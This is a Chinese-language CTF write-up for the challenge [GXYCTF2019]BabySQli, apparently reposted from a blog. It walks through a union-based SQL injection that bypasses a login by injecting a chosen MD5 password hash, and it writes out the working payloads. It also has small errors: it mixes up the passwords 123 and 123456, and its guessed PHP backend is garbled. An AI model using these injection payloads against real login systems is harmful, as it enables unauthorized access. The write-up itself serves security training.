首页 > 数据库技术 > 详细

[GXYCTF2019]BabySQli

时间:2020-02-10 20:55:55      阅读:577      评论:0      收藏:0      [点我收藏+]

0x00 知识点

emmm这道题目就是脑洞得大,能猜后端源码

0x01 解题

查看源码:
base32,base64解码得到

select * from user where username = '$name'

提示我们 要从 username 入手我们查看下 他有几个字段
得到字段为3:

admin' union select 1,2,3#

我们开始常规注入:

admin' union select 1,2,3#

这里提示wrong user,用户名错误,猜测为admin
我们把admin 放到第二个位置 不报错
得到第二个字段就是我们的username字段

admin' union select 1,'admin',3#

这里看网上师傅博客,有md5提示,我并没有看到--

于是我们便可以去猜测 它的后端是怎么写的:


<?php$row;
$pass=$_POST['pw'];
if($row['username']==’admin’){
if($row['password']==md5($pass)){ 
echo $flag; 
}else{ echo “wrong pass!”; 
}}
else{ echo “wrong user!”;}

就是 我们的sql语句执行时,passsword字段中的内容要==md5(我们密码栏输入的password)然后我们便随便找个 密码 就123吧:

明文:123md5 : 202cb962ac59075b964b07152d234b70
于是我们便构造这样的payload:

username栏:


0' union select 0,'admin','e10adc3949ba59abbe56e057f20f883e'#

password栏:123456
登录便可以得到
技术分享图片

[GXYCTF2019]BabySQli

原文:https://www.cnblogs.com/wangtanzhi/p/12292414.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!